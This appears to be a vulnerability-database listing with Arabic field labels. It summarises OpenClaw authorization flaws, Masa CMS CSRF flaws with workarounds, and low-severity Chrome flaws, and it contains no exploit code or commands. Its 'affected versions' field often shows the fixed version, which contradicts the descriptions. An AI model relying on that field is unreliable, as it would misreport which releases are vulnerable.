OpenClaw before 2026.4.10 contains an insufficient access control vulnerability in Nostr plugin HTTP profile routes that allows operators with write permissions to persist profile configuration without requiring admin authority. Attackers with operator.write scope can modify Nostr profile settings through unprotected mutation endpoints to gain unauthorized configuration persistence.

الإصدارات المتأثرة

2026.4.10

نوع الثغرة

CWE-862 — Missing Authorization

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

المراجع

الوصف الكامل

OpenClaw before 2026.4.9 contains a file read vulnerability allowing attackers to bypass navigation guards through browser act/evaluate interactions. Attackers can pivot into the local CDP origin and create or read disallowed file:// pages despite direct navigation policy restrictions.

الإصدارات المتأثرة

2026.4.9

نوع الثغرة

CWE-862 — Missing Authorization

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

المراجع

الوصف الكامل

OpenClaw versions 2026.2.21 before 2026.4.10 contain an authentication bypass vulnerability in the sandbox noVNC helper route that exposes interactive browser session credentials. Attackers can access the noVNC helper route without bridge authentication to gain unauthorized access to the interactive browser session.

الإصدارات المتأثرة

2026.2.21 - 2026.4.10

نوع الثغرة

CWE-862 — Missing Authorization

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

المراجع

الوصف الكامل

Masa CMS is a content management system forked from Mura CMS. In versions 7.5.2 and earlier, the `cTrash.restore` function does not properly validate anti-CSRF tokens for content restoration requests. An attacker can trick a logged-in administrator to submit a forged request that restores deleted items from the trash and places them at an attacker-controlled location in the site structure through the parentid parameter. This can restore previously deleted malicious or outdated content, expose sensitive documents by moving them into publicly accessible locations, and disrupt site structure or content integrity. This issue has been fixed in versions 7.2.10, 7.3.15, 7.4.10, and 7.5.3. As a workaround, restrict access to the administrative backend, use browser isolation for administrative sessions, and regularly empty the trash to reduce the amount of content available for unauthorized restoration.

نوع الثغرة

CWE-352 — CSRF

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

المراجع

الوصف الكامل

Masa CMS is a content management system forked from Mura CMS. In versions 7.5.2 and earlier, the cTrash.empty function does not validate anti-CSRF tokens for trash management requests. An attacker can induce a logged-in administrator to submit a forged request that empties the trash and permanently deletes all deleted content. This can cause irreversible data loss and disrupt recovery of content intended for restoration. This issue has been fixed in versions 7.2.10, 7.3.15, 7.4.10, and 7.5.3. As a workaround, restrict access to the administrative backend, use browser isolation for administrative sessions, and maintain current database backups to recover from unauthorized deletion.

نوع الثغرة

CWE-352 — CSRF

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

المراجع

الوصف الكامل

Masa CMS is a content management system forked from Mura CMS. In versions 7.5.2 and earlier, the cUsers.updateAddress function does not properly validate anti-CSRF tokens for user address management operations. An attacker can induce a logged-in administrator to submit a forged request that adds, modifies, or deletes user address records, including email addresses and phone numbers. This can be used to alter contact information, redirect organizational communications, and corrupt address data in the user directory. This issue has been fixed in versions 7.2.10, 7.3.15, 7.4.10, and 7.5.3. As a workaround, restrict access to the administrative backend, use browser isolation for administrative sessions, or deploy filtering rules to block forged requests to the affected endpoint

نوع الثغرة

CWE-352 — CSRF

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

المراجع

الوصف الكامل

Inappropriate implementation in MHTML in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who convinced a user to engage in specific UI gestures to leak cross-origin data via a crafted MHTML page. (Chromium security severity: Low)

الإصدارات المتأثرة

148.0.7778.96

نوع الثغرة

CWE-1021 — CWE-1021

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

المراجع

الوصف الكامل

Script injection in UI in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who convinced a user to engage in specific UI gestures to inject arbitrary scripts or HTML (UXSS) via a crafted HTML page. (Chromium security severity: Low)

الإصدارات المتأثرة

148.0.7778.96

نوع الثغرة

CWE-94 — Code Injection

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

المراجع

الوصف الكامل

Uninitialized Use in GPU in Google Chrome on Android prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Low)

الإصدارات المتأثرة

148.0.7778.96

نوع الثغرة

CWE-457 — CWE-457

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

المراجع

الوصف الكامل

Insufficient policy enforcement in WebApp in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)

الإصدارات المتأثرة

148.0.7778.96

نوع الثغرة

CWE-451 — CWE-451

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L

المراجع

الوصف الكامل

Insufficient policy enforcement in DevTools in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to potentially perform a sandbox escape via malicious network traffic. (Chromium security severity: Low)

الإصدارات المتأثرة

148.0.7778.96

نوع الثغرة

NVD-CWE-noinfo — NVD-CWE-noinfo

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

المراجع

الوصف الكامل

Side-channel information leakage in Media in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)

الإصدارات المتأثرة

148.0.7778.96

نوع الثغرة

CWE-1300 — CWE-1300

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

المراجع

الوصف الكامل

Use after free in WebRTC in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Low)

الإصدارات المتأثرة

148.0.7778.96

نوع الثغرة

CWE-416 — Use After Free

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

المراجع

الوصف الكامل

Inappropriate implementation in Media in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)

الإصدارات المتأثرة

148.0.7778.96

نوع الثغرة

CWE-451 — CWE-451

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L

المراجع

الوصف الكامل

Inappropriate implementation in Preload in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)

الإصدارات المتأثرة

148.0.7778.96

نوع الثغرة

CWE-693 — CWE-693

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

المراجع

الوصف الكامل

Insufficient validation of untrusted input in FedCM in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)

الإصدارات المتأثرة

148.0.7778.96

نوع الثغرة

CWE-20 — Input Validation

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

المراجع

الوصف الكامل

Inappropriate implementation in MHTML in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to inject arbitrary scripts or HTML (UXSS) via a crafted HTML page. (Chromium security severity: Low)

الإصدارات المتأثرة

148.0.7778.96

نوع الثغرة

CWE-79 — XSS

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

المراجع

الوصف الكامل

Insufficient policy enforcement in Search in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)

الإصدارات المتأثرة

148.0.7778.96

نوع الثغرة

CWE-693 — CWE-693

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

المراجع

الوصف الكامل

Insufficient validation of untrusted input in SiteIsolation in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Low)

الإصدارات المتأثرة

148.0.7778.96

نوع الثغرة

CWE-20 — Input Validation

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

المراجع

الوصف الكامل

Inappropriate implementation in Cast in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)

الإصدارات المتأثرة

148.0.7778.96

نوع الثغرة

CWE-693 — CWE-693

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

المراجع

الوصف الكامل

Inappropriate implementation in DevTools in Google Chrome prior to 148.0.7778.96 allowed an attacker who convinced a user to install a malicious extension to perform UI spoofing via a crafted Chrome Extension. (Chromium security severity: Low)

الإصدارات المتأثرة

148.0.7778.96

نوع الثغرة

CWE-451 — CWE-451

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L

المراجع

الوصف الكامل

Insufficient validation of untrusted input in Cast in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to perform privilege escalation via a crafted HTML page. (Chromium security severity: Low)

الإصدارات المتأثرة

148.0.7778.96

نوع الثغرة

CWE-20 — Input Validation

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

المراجع

الوصف الكامل

Insufficient policy enforcement in DevTools in Google Chrome prior to 148.0.7778.96 allowed an attacker who convinced a user to install a malicious extension to perform UI spoofing via a crafted Chrome Extension. (Chromium security severity: Low)

الإصدارات المتأثرة

148.0.7778.96

نوع الثغرة

CWE-451 — CWE-451

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L

المراجع

الوصف الكامل

Insufficient validation of untrusted input in Cast in Google Chrome prior to 148.0.7778.96 allowed an attacker on the local network segment to bypass same origin policy via malicious network traffic. (Chromium security severity: Low)

الإصدارات المتأثرة

148.0.7778.96

نوع الثغرة

CWE-20 — Input Validation

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

المراجع